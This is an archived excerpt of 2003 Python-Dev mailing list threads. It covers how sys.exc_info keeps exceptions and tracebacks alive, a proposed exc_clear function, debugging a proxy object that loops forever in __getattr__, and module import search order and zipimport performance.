<200302241904.h1OJ4LP02895@odiug.zope.com> References: <200302241904.h1OJ4LP02895@odiug.zope.com> Message-ID: <3E5AAAF5.2080702@tismer.com> Guido van Rossum wrote: > Sure, as long as it is part of Stackless and not of Python proper. > > Actually, I've wanted a reset_exc() call from time to time. What is the > barrer to having in the core? > > > I believe that Stackless supports Python 2.1 or older, and we're not > adding features. Even if Stackless supported Python 2.2, adding a new > feature would be iffy. Huh? What makes you believe that? I'm talking of 2.3, of course. Sure, it is possible for long-running functions to wrap any exception-raising stuff into an extra wrapping function that always returns after the exception has happened, and to let the main worker function run without try..except. But is this very cool? I would also like to point out that the documentation of sys.exc_info is very misleading, and I always programmed acording to this false information: """ >>> print sys.exc_info.__doc__ exc_info() -> (type, value, traceback) Return information about the exception that is currently being handled. This should be called from inside an except clause only. >>> """ Where I have to say that I'm in favor of doing like the documentation claims. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tismer@tismer.com Mon Feb 24 23:34:48 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 00:34:48 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <200302241913.h1OJD3102957@odiug.zope.com> References: <200302241913.h1OJD3102957@odiug.zope.com> Message-ID: <3E5AAC18.2070801@tismer.com> Guido van Rossum wrote: > Sure, as long as it is part of Stackless and not of Python proper. > > Actually, I've wanted a reset_exc() call from time to time. What is the > barrer to having in the core? > > I believe that Stackless supports Python 2.1 or older, and we're not > adding features. Even if Stackless supported Python 2.2, adding a new > feature would be iffy. > > This has nothing to do with Stackless, > > > Well, Christian explained that it was a problem because they have > 1000s of threads. Yeah. But standard CPython can exploit the same thing, with a handful of real threads, which happen to catch exceptions from, say, a very deep, very memory consming chain of frames. These are all kept alive, and from the documentation, people don't expect this! ... > I don't have time to write the code, but I'll entertain a patch before > 2.3b1. I was about to supply a patch, that's why I asked for the right syntax. Do you want an extra function of which name, or do you like a default arg to exc_info? Both patches should not take me more than 1/2 hour, or I should better give up on programming and become a farmer. no-offense-to-farmers,-they-are-probably-the-happier-people -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From mhammond@skippinet.com.au Tue Feb 25 00:05:51 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Tue, 25 Feb 2003 11:05:51 +1100 Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5AAAF5.2080702@tismer.com> Message-ID: <006301c2dc61$aa3e1910$530f8490@eden> I'm not completely clear on the problem being described here, but: > Sure, it is possible for long-running functions to wrap > any exception-raising stuff into an extra wrapping function > that always returns after the exception has happened, > and to let the main worker function run without try..except. > But is this very cool? I point out that the following code: import sys def a(): try: 1/0 except: t, v, tb = sys.exc_info() if __name__=='__main__': while 1: a() When garbage collection is not enabled will cause huge memory leaks. The problem is the "tb" variable - the traceback holds a reference to the stack frame, which holds references to the locals, which holds a reference back to "tb". gc clears these cycles, so later Python versions work fine - does stackless enable gc? Explicitly setting "tb" to None in the exception handler also fixes it. No idea if it is related or not, but this problem caused me such grief years ago that I thought it worth mentioning. Mark. From tismer@tismer.com Tue Feb 25 01:00:00 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 02:00:00 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <006301c2dc61$aa3e1910$530f8490@eden> References: <006301c2dc61$aa3e1910$530f8490@eden> Message-ID: <3E5AC010.7010208@tismer.com> Mark Hammond wrote: > I'm not completely clear on the problem being described here, but: > > >>Sure, it is possible for long-running functions to wrap >>any exception-raising stuff into an extra wrapping function >>that always returns after the exception has happened, >>and to let the main worker function run without try..except. >>But is this very cool? > > > I point out that the following code: > > import sys > def a(): > try: > 1/0 > except: > t, v, tb = sys.exc_info() > > if __name__=='__main__': > while 1: > a() > > When garbage collection is not enabled will cause huge memory leaks. The > problem is the "tb" variable - the traceback holds a reference to the stack > frame, which holds references to the locals, which holds a reference back to > "tb". > > gc clears these cycles, so later Python versions work fine - does stackless > enable gc? Explicitly setting "tb" to None in the exception handler also > fixes it. Thanks a lot. Yes, I know about this and advised them to clear t, v, tb after usage, which breaks the cycle. The problem is just that they don't like to use an extra wrapper function around the exception, but want to handle it in their top-level worker loop. When an exception happens there, it isn't cleared until another one happens, or the function leaves. But the latter never happens... ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Tue Feb 25 01:57:40 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 20:57:40 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: "Your message of Tue, 25 Feb 2003 00:29:57 +0100." <3E5AAAF5.2080702@tismer.com> References: <200302241904.h1OJ4LP02895@odiug.zope.com> <3E5AAAF5.2080702@tismer.com> Message-ID: <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net> [Guido] > > I believe that Stackless supports Python 2.1 or older, and we're not > > adding features. Even if Stackless supported Python 2.2, adding a new > > feature would be iffy. [Christian] > Huh? What makes you believe that? I thought quite a while ago you announced you were giving up the old stackless code. I must have misunderstood. > I'm talking of 2.3, of course. But without GC, right? Or did I misunderstand that too? I thought you told me that your customers didn't want GC enabled? But in 2.3 GC can't be disabled. So I guess I'm unclear on what you want. > I would also like to point out that the documentation > of sys.exc_info is very misleading, and I always > programmed acording to this false information: > > """ > >>> print sys.exc_info.__doc__ > exc_info() -> (type, value, traceback) > > Return information about the exception that is currently being handled. > This should be called from inside an except clause only. > >>> > """ It's pretty complex to explain the actual behavior, so I gave a recipe that's a little more restricted but is guaranteed to work. > Where I have to say that I'm in favor of doing like > the documentation claims. Too bad, that would definitely break existing code. [And later, Guido] > > Well, Christian explained that it was a problem because they have > > 1000s of threads. [Christian] > Yeah. But standard CPython can exploit the same thing, with a > handful of real threads, which happen to catch exceptions > from, say, a very deep, very memory consming chain of frames. > These are all kept alive, and from the documentation, > people don't expect this! Who reads documentation. :-) > ... > > > I don't have time to write the code, but I'll entertain a patch before > > 2.3b1. > > I was about to supply a patch, that's why I asked for > the right syntax. Do you want an extra function of which name, > or do you like a default arg to exc_info? > Both patches should not take me more than 1/2 hour, or I > should better give up on programming and become a farmer. You and Kevin Jacobs can argue about the syntax. --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Tue Feb 25 02:28:32 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 03:28:32 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net> References: <200302241904.h1OJ4LP02895@odiug.zope.com> <3E5AAAF5.2080702@tismer.com> <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E5AD4D0.3050609@tismer.com> Guido van Rossum wrote: > [Guido] > >>>I believe that Stackless supports Python 2.1 or older, and we're not >>>adding features. Even if Stackless supported Python 2.2, adding a new >>>feature would be iffy. I am not talking about adding a feature but removing a wart. > [Christian] > >>Huh? What makes you believe that? > > > I thought quite a while ago you announced you were giving up the old > stackless code. I must have misunderstood. And introduced the new, much better, Stackless code, of course. This is what I'm talking about at PyCon. You were in the comittee. >>I'm talking of 2.3, of course. > > > But without GC, right? Or did I misunderstand that too? I thought > you told me that your customers didn't want GC enabled? But in 2.3 GC > can't be disabled. So I guess I'm unclear on what you want. I have asked them about GC. Both were less negative about GC than they claimed a year ago. But this is not the point. The code they have cannot be made working by GC, since there is a life cycle supported by prolonged survival of exceptions that cannot be solved by GC. There is *no* way to clear an exception other than raising another one, or by leaving the current function that received the exception. Since it is easy to catch an exception in the except clause my assingning sys.exc_info() to some locals, there is no need to make these implicitly survive longer than needed, with the extra surprize that there is no sane way to clean them up. ... > It's pretty complex to explain the actual behavior, so I gave a > recipe that's a little more restricted but is guaranteed to work. It is actually quite simple to explain, since I know almost all of ceval.c by heart: There is only one single function in the whole system that both clears the exception saved in tstate, *and* the extra reference which is captured in the current frame: It is reset_exc_info(), a static local function in ceval.c, which is exactly only called when eval_frame returns. >>Where I have to say that I'm in favor of doing like >>the documentation claims. > > > Too bad, that would definitely break existing code. Break it, break it! Code that does not adhere to the documentation is bad code that should be broken, even if it is your own. Examplify. Relying on side effects which are not documented have *never* been an argument for you to support abuse. > [And later, Guido] ... > Who reads documentation. :-) You, I suppose. :-) ... > You and Kevin Jacobs can argue about the syntax. Proposals, in decreasing orders of delight: 1) Implement exeptions according to the documentation. Cleaning exceptions after they are handled is what most users would expect, last but not least since the documentation suggests it. 2) Add an optional boolean clear argument to sys.exc_info() This is lame, but it gives the user one way out. 3) Add an extra reset_exp function to sys. More lame since it requires an extra function, just to patch a "feature". 4) Keep things as they are, and expect the Spanish Inquision. In case of 4), I assure you to start a thread that will not be less than the PEP308 mess. In the other cases, I will happily submit a validated patch. Please don't disappoint me by defending a questionable design. sincerely your's -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From jacobs@penguin.theopalgroup.com Tue Feb 25 03:24:26 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Mon, 24 Feb 2003 22:24:26 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5AD4D0.3050609@tismer.com> Message-ID: On Tue, 25 Feb 2003, Christian Tismer wrote: > > You and Kevin Jacobs can argue about the syntax. > > Proposals, in decreasing orders of delight: > > 1) Implement exeptions according to the documentation. > Cleaning exceptions after they are handled is what > most users would expect, last but not least since > the documentation suggests it. This is not a practical option -- while I don't think the current behavior is ideal, we have a great deal of code that relies on this behavior. I'm sure that many other Python developers are in the same boat. If this is to change, we need to do a lot more work to justify it, and to give at least full one version of notice before enforcing it. > 2) Add an optional boolean clear argument to sys.exc_info() > This is lame, but it gives the user one way out. exc_info(...) exc_info() -> (type, value, traceback) Return information about the exception that is currently being handled. This should be called from inside an except clause only. Adding an argument to this function reeks of a kludge. Its job is to return information, and should not take any magic arguments to make it a 'one-shot'. > 3) Add an extra reset_exp function to sys. > More lame since it requires an extra function, > just to patch a "feature". This one gets my vote (if this were a democracy). "Explicit is better than implicit". The new symbol in the sys namespace also makes it easy to test for the capability (without a version number check). Maybe it should be called 'clear_exc' or 'reset_exc_info' (to match the C API name). > 4) Keep things as they are, and expect the Spanish Inquision. I'm even okay with the status quo and can continue to use my current hack to clear exception data. Regards, -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From tismer@tismer.com Tue Feb 25 03:48:07 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 04:48:07 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: References: Message-ID: <3E5AE777.8010108@tismer.com> Kevin Jacobs wrote: > On Tue, 25 Feb 2003, Christian Tismer wrote: > >>>You and Kevin Jacobs can argue about the syntax. >> >>Proposals, in decreasing orders of delight: >> >>1) Implement exeptions according to the documentation. >> Cleaning exceptions after they are handled is what >> most users would expect, last but not least since >> the documentation suggests it. > This is not a practical option -- while I don't think the current behavior > is ideal, we have a great deal of code that relies on this behavior. I'm > sure that many other Python developers are in the same boat. If this is to > change, we need to do a lot more work to justify it, and to give at least > full one version of notice before enforcing it. Why this? sys.exc_info() is well documented since a couple of versions. I was even so dumb to code according to it that I wasn't even aware of the problem. (But I should have known better having read all the code). ... >>3) Add an extra reset_exp function to sys. >> More lame since it requires an extra function, >> just to patch a "feature". > > > This one gets my vote (if this were a democracy). "Explicit is better than > implicit". The new symbol in the sys namespace also makes it easy to test > for the capability (without a version number check). Maybe it should be > called 'clear_exc' or 'reset_exc_info' (to match the C API name). I don't care, but to get that crappy problem off my desk. >>4) Keep things as they are, and expect the Spanish Inquision. > > > I'm even okay with the status quo and can continue to use my current hack to > clear exception data. I have received lots of complaints about "bad Stackless behavior", and I would be happy if I were causing the problem, in the first place. The problem exists since centuries, but is exploited by the fact that people can have so many threads now. I hate to get prosecuted for the consequences of other people's decisions, in a way... ... but I'm far from being a language designer, for heaven's sake :-)) unseriously yours - chgris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From barry@python.org Tue Feb 25 04:44:38 2003 From: barry@python.org (Barry A. Warsaw) Date: Mon, 24 Feb 2003 23:44:38 -0500 Subject: [Python-Dev] Traceback problem References: <3E5AD4D0.3050609@tismer.com> Message-ID: <15962.62646.292558.502131@gargle.gargle.HOWL> >>>>> "KJ" == Kevin Jacobs writes: KJ> This one gets my vote (if this were a democracy). "Explicit KJ> is better than implicit". The new symbol in the sys namespace KJ> also makes it easy to test for the capability (without a KJ> version number check). Maybe it should be called 'clear_exc' KJ> or 'reset_exc_info' (to match the C API name). Or exc_clear() for symmetry with exc_info() ? -Barry From skip@pobox.com Tue Feb 25 03:54:55 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 24 Feb 2003 21:54:55 -0600 Subject: [Python-Dev] module extension search order - can it be changed? Message-ID: <15962.59663.914728.131796@montanaro.dyndns.org> While trying to figure out why so many stat() calls fail before locating a module, it occurred to me that since most modules are written in Python it makes sense to consider ".py" files before ".so" and "module.so" files. Would changing the search order be possible or would it break something? Skip From a@totic.org Tue Feb 25 08:56:40 2003 From: a@totic.org (Aleks Totic) Date: Tue, 25 Feb 2003 00:56:40 -0800 Subject: [Python-Dev] Writing a mutable object problem with __setattr__ Message-ID: <3E5B2FC8.6040803@totic.org> Hi, I am trying to create a mutable object for a persistent object database, and I've ran into a problem. The semantics are: Object gets created as a 'Swizzle'. Swizzle is a stub that intercepts any attempt to access object properties. When code tries to access any of swizzle's properties, the swizzle should automatically mutate into the stored object, by changing its class and properties. With the __set/get/del/attr__ traps this seemed feasible in Python. But it turns out to be trickier than I've thought, my naive implementation is not working. What happens is: swizzle.__getattr__() gets called calls swizzle.load() swizzle.__class__ = stored_class swizzle.__dict__ = stored_data calls getattr(self, attr_name) calls swizzle.__getattr__() gets called and I enter an infinite loop and blow the stack Since swizzle's __class__ and __dict__ have changed, shouldn't getattr use the new class to get attributes? Why this is puzzling is that if I call swizzle.load() directly (bypassing __getattr__ trap), and then try referencing swizzle's fields, everything works. The object mutates successfully, and __getattr__ never gets called again. Any hints on what might be going wrong? Hopefully others have struggled with the same problem before me. Details of Python's class implementation and method dispatch would also be interesting. I've read Guido's Unifying Types essay, but I think I lack Python history required for its full understanding. I've tried many different approaches: - Swizzle inheriting from object (so that I can call super methods directly). This one would not let me assign into the __class__ - Swizzle calling different combinations of self.__setattr/setattr/setattribute Here is my current code. Thanks in advance, Aleks class Swizzle(object): """ A swizzle is a placeholder for an object that has not been loaded. It mutates into the loaded object upon access TODO: locking """ def __init__(self, oid): self.__setattr__('oid', oid) def __getattr__(self, name): print "swizzle getattr called" # oid is the only attribute that does not cause a load if (name == 'oid'): return self.__dict__[name] self.load() return getattr(self,name) def __setattr__(self, name, value): """ setattr passes class & dict because these are called when we are mutating the object """ print "swizzle setattr called" if (name == '__class__' or name == '__dict__' or name == 'oid'): self.__dict__[name] = value return self.load() return setattr(self,name, value) def __delattr__(self, name): print "swizzle delattr called" self.load() return delattr(self, name) def load(self): """ TODO LOCK""" print "Trying to load ", self.oid RepositoryManager.manager.load(self) def RepositoryManager.load(anItem) anItem.__dict__ = getProperties(anItem.oid) anItem.__class__ = getClass(anItem.oid) From guido@python.org Tue Feb 25 14:50:12 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 09:50:12 -0500 Subject: [Python-Dev] Writing a mutable object problem with __setattr__ In-Reply-To: Your message of "Tue, 25 Feb 2003 00:56:40 PST." <3E5B2FC8.6040803@totic.org> References: <3E5B2FC8.6040803@totic.org> Message-ID: <200302251450.h1PEoD607130@odiug.zope.com> > I am trying to create a mutable object for a persistent object > database, and I've ran into a problem. The semantics are: > > Object gets created as a 'Swizzle'. Swizzle is a stub that > intercepts any attempt to access object properties. When code > tries to access any of swizzle's properties, the swizzle should > automatically mutate into the stored object, by changing its > class and properties. This is a common pattern; Zope (really ZODB) uses this and calls the incomplete objects "ghosts". Zope doesn't change the __class__ though. > With the __set/get/del/attr__ traps this seemed feasible in > Python. But it turns out to be trickier than I've thought, my > naive implementation is not working. > > What happens is: > swizzle.__getattr__() gets called > calls swizzle.load() > swizzle.__class__ = stored_class > swizzle.__dict__ = stored_data > calls getattr(self, attr_name) > calls swizzle.__getattr__() gets called > and I enter an infinite loop and blow the stack > > Since swizzle's __class__ and __dict__ have changed, shouldn't > getattr use the new class to get attributes? That's what I woul'd have thought too. Maybe the problem is that you're really requesting a non-existent attribute? Do you know which attribute name is being requested? That's the first information you need. > Why this is puzzling is that if I call swizzle.load() directly > (bypassing __getattr__ trap), and then try referencing swizzle's > fields, everything works. The object mutates successfully, and > __getattr__ never gets called again. > > Any hints on what might be going wrong? Hopefully others have > struggled with the same problem before me. > > Details of Python's class implementation and method dispatch > would also be interesting. I've read Guido's Unifying Types > essay, but I think I lack Python history required for its full > understanding. > > I've tried many different approaches: > - Swizzle inheriting from object (so that I can call super > methods directly). This one would not let me assign into the > __class__ In Python 2.2.2 you can set __class__, as long as __class__ has a compatible instance lay-out (at the C implementation level). With new-style objects, you can use __getattribute__ instead of __getattr__ for more control (and also more opportunities to blow the stack :-). > - Swizzle calling different combinations of > self.__setattr/setattr/setattribute I don't understand -- these names don't exist. > Here is my current code. > > Thanks in advance, > > Aleks > > class Swizzle(object): > """ A swizzle is a placeholder for an object that has not > been loaded. It mutates into the loaded object upon access > TODO: locking > """ > def __init__(self, oid): > self.__setattr__('oid', oid) > > def __getattr__(self, name): > print "swizzle getattr called" > # oid is the only attribute that does not cause a load > if (name == 'oid'): > return self.__dict__[name] > self.load() > return getattr(self,name) > > def __setattr__(self, name, value): > """ setattr passes class & dict because these are called > when we are mutating the object """ > print "swizzle setattr called" > if (name == '__class__' or name == '__dict__' or name == > 'oid'): > self.__dict__[name] = value > return Ah, here's the catch. You can't implement assignment to __dict__ or __class__ by doing "self.__dict__[name] = value". Use new-style classes and you'll be much happier: you can invoke the superclass __setattr__ to do the magic. > self.load() > return setattr(self,name, value) > > def __delattr__(self, name): > print "swizzle delattr called" > self.load() > return delattr(self, name) > > def load(self): > """ TODO LOCK""" > print "Trying to load ", self.oid > RepositoryManager.manager.load(self) > > def RepositoryManager.load(anItem) > anItem.__dict__ = getProperties(anItem.oid) > anItem.__class__ = getClass(anItem.oid) --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 25 14:58:18 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 09:58:18 -0500 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: Your message of "Mon, 24 Feb 2003 21:54:55 CST." <15962.59663.914728.131796@montanaro.dyndns.org> References: <15962.59663.914728.131796@montanaro.dyndns.org> Message-ID: <200302251458.h1PEwJU07213@odiug.zope.com> > While trying to figure out why so many stat() calls fail before locating a > module, it occurred to me that since most modules are written in Python it > makes sense to consider ".py" files before ".so" and "module.so" files. > Would changing the search order be possible or would it break something? I don't know if it would break something, but it was certainly intended as a feature: you could have an extension and a .py module in the same directory, the .py module would be used as a fallback if the .so cannot be built. --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Tue Feb 25 15:12:03 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 16:12:03 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5AD4D0.3050609@tismer.com> References: <200302241904.h1OJ4LP02895@odiug.zope.com> <3E5AAAF5.2080702@tismer.com> <200302250157.h1P1ve213590@pcp02138704pcs.reston01.va.comcast.net> <3E5AD4D0.3050609@tismer.com> Message-ID: <3E5B87C3.3030205@tismer.com> Christian Tismer wrote: [me, lots of rubbish, ending up in...] > Please don't disappoint me by defending a questionable design. Oops, I'm very sorry about that. I again tried to clone myself, but now that I see the mess that the tis-bot wrote last night, I have to put him down again. I will give him more unit tests, next time :-) ciao - chris (the oiginal) -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Tue Feb 25 15:12:46 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 10:12:46 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: Your message of "Mon, 24 Feb 2003 22:24:26 EST." References: Message-ID: <200302251512.h1PFCmP07304@odiug.zope.com> > > 1) Implement exeptions according to the documentation. > > Cleaning exceptions after they are handled is what > > most users would expect, last but not least since > > the documentation suggests it. > > This is not a practical option -- while I don't think the current > behavior is ideal, we have a great deal of code that relies on this > behavior. I'm sure that many other Python developers are in the > same boat. If this is to change, we need to do a lot more work to > justify it, and to give at least full one version of notice before > enforcing it. Indeed. Not to mention that a new opcode would have to be invented to signal the end of the except block. > > 2) Add an optional boolean clear argument to sys.exc_info() > > This is lame, but it gives the user one way out. > > exc_info(...) > exc_info() -> (type, value, traceback) > > Return information about the exception that is currently being handled. > This should be called from inside an except clause only. > > Adding an argument to this function reeks of a kludge. Its job is > to return information, and should not take any magic arguments to > make it a 'one-shot'. Agreed; -1 on this particular API. > > 3) Add an extra reset_exp function to sys. > > More lame since it requires an extra function, > > just to patch a "feature". > > This one gets my vote (if this were a democracy). "Explicit is > better than implicit". The new symbol in the sys namespace also > makes it easy to test for the capability (without a version number > check). Maybe it should be called 'clear_exc' or 'reset_exc_info' > (to match the C API name). Let's call it exc_reset() or exc_clear(). > > 4) Keep things as they are, and expect the Spanish Inquision. > > I'm even okay with the status quo and can continue to use my current > hack to clear exception data. You can always clear it by raising and catching another exception. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Tue Feb 25 15:12:53 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 09:12:53 -0600 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <200302251458.h1PEwJU07213@odiug.zope.com> References: <15962.59663.914728.131796@montanaro.dyndns.org> <200302251458.h1PEwJU07213@odiug.zope.com> Message-ID: <15963.34805.782478.54250@montanaro.dyndns.org> Skip> [check .py before .so] Guido> I don't know if it would break something, but it was certainly Guido> intended as a feature: you could have an extension and a .py Guido> module in the same directory, the .py module would be used as a Guido> fallback if the .so cannot be built. This doesn't quite make sense to me. Instead of ".so cannot be built" did you mean ".so cannot be imported"? In any case, the current solution to my underlying problem (so many failing stat() calls during module import) appears to be to create $prefix/python23.zip and populate it with the contents of the standard library using zipfile.PyZipFile. Skip From guido@python.org Tue Feb 25 15:26:51 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 10:26:51 -0500 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: Your message of "Tue, 25 Feb 2003 09:12:53 CST." <15963.34805.782478.54250@montanaro.dyndns.org> References: <15962.59663.914728.131796@montanaro.dyndns.org> <200302251458.h1PEwJU07213@odiug.zope.com> <15963.34805.782478.54250@montanaro.dyndns.org> Message-ID: <200302251526.h1PFQqH07446@odiug.zope.com> > Skip> [check .py before .so] > > Guido> I don't know if it would break something, but it was certainly > Guido> intended as a feature: you could have an extension and a .py > Guido> module in the same directory, the .py module would be used as a > Guido> fallback if the .so cannot be built. > > This doesn't quite make sense to me. Instead of ".so cannot be built" did > you mean ".so cannot be imported"? No, I meant what I said. Once the file is found, it will be tried and if that fails, the other files won't be tried. The idea was that if the .so cannot be built, it won't be installed -- but the .py will be there at all times. > In any case, the current solution to my underlying problem (so many failing > stat() calls during module import) appears to be to create > $prefix/python23.zip and populate it with the contents of the standard > library using zipfile.PyZipFile. Right, that's what zipimport is for. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Tue Feb 25 15:59:45 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 09:59:45 -0600 Subject: [Python-Dev] Re: some preliminary timings Message-ID: <15963.37617.384031.567676@montanaro.dyndns.org> Executive summary for python-dev folks seeing this for the first time: This thread started at http://mail.python.org/pipermail/spambayes/2003-February/003520.html Running in a single interpreter loop, I can score roughly 46 messages per second. Running from the shell using hammiefilter.py (which takes a msg on stdin and spits a scored message to stdout) performance drops to roughly 2 messages per second. Neil Schmenenauer noted all the failed open() calls during import lookup, which got me started trying to whittle them down. Two more things to try before abandoning this quixotic adventure... It appears $prefix/python23.zip is left in sys.path even if it doesn't exist (Just van Rossum explained to me in a bug report I filed that nonexistent directories might actually be URLs or other weird hacks which import hooks could make use of), so I went with the flow and created it, populating it with the contents of $prefix/python2.3. My averate wallclock time went from 0.5 seconds to 0.47 seconds and user+sys times went from 0.43 seconds to 0.41 seconds. A modest improvement. One more little tweak. I moved the lib-dynload directory to the front of sys.path (obviously only safe if nothing there appears earlier in sys.path). Wall clock average stayed at 0.47 seconds and user+sys at 0.41 seconds, though the total number of system calls as measured by ktrace went from 3454 to 3042. Hammiefilter itself really does very little. Looking at the last ktrace/kdump output, I see 3042 system calls. The hammie.db file isn't opened until line 2717. All the rest before that is startup stuff, the largest chunk of which are nami operations (731) and open (557) calls, most of them involving nonexistent files (as evidenced by seeing only 164 calls to close()). In contrast, only 278 system calls appear to be directly related to manipulating the hammie database. This is still somewhat off-topic for this list (except for the fact that my intention was to get hammiefilter to run faster), so I'll cc python-dev to keep Tim happy, and perhaps mildly irritate Guido by discussing specific apps on python-dev. Skip From skip@pobox.com Tue Feb 25 16:02:50 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 10:02:50 -0600 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <200302251526.h1PFQqH07446@odiug.zope.com> References: <15962.59663.914728.131796@montanaro.dyndns.org> <200302251458.h1PEwJU07213@odiug.zope.com> <15963.34805.782478.54250@montanaro.dyndns.org> <200302251526.h1PFQqH07446@odiug.zope.com> Message-ID: <15963.37802.980727.597421@montanaro.dyndns.org> >> This doesn't quite make sense to me. Instead of ".so cannot be >> built" did you mean ".so cannot be imported"? Guido> No, I meant what I said. Once the file is found, it will be Guido> tried and if that fails, the other files won't be tried. The Guido> idea was that if the .so cannot be built, it won't be installed Guido> -- but the .py will be there at all times. In which case there is no .so file to try to find, thus no "feature". >> In any case, the current solution to my underlying problem (so many >> failing stat() calls during module import) appears to be to create >> $prefix/python23.zip and populate it with the contents of the >> standard library using zipfile.PyZipFile. Guido> Right, that's what zipimport is for. Any thought about having the installation process create and populate python23.zip? It's not particularly hard. I'm willing to submit a patch for the build/install process. Skip From jacobs@penguin.theopalgroup.com Tue Feb 25 16:05:14 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Tue, 25 Feb 2003 11:05:14 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <200302251512.h1PFCmP07304@odiug.zope.com> Message-ID: On Tue, 25 Feb 2003, Guido van Rossum wrote: > > > 3) Add an extra reset_exp function to sys. > > > More lame since it requires an extra function, > > > just to patch a "feature". > > > > This one gets my vote (if this were a democracy). "Explicit is > > better than implicit". The new symbol in the sys namespace also > > makes it easy to test for the capability (without a version number > > check). Maybe it should be called 'clear_exc' or 'reset_exc_info' > > (to match the C API name). > > Let's call it exc_reset() or exc_clear(). I'm going with exc_clear(), since 'clearing' seems to be the verb most people are using when talking about the action it performed. Implementation question: I'm planning to reuse the reset_exc_info function defined statically in ceval.c. Which of these options do you prefer: 1) Just remove the static declaration from reset_exc_info and add the prototype as an extern declaration to sysmodule.c. 2) Remove the static declaration from reset_exc_info and add the prototype to an include file. If so, which include file is the most appropriate place? 3) Move the implementation of reset_exc_info out of ceval to another, more public, file. If so, which one? I ask only because I usually submit bug fixes and minor changes, and am not familar enough with this part 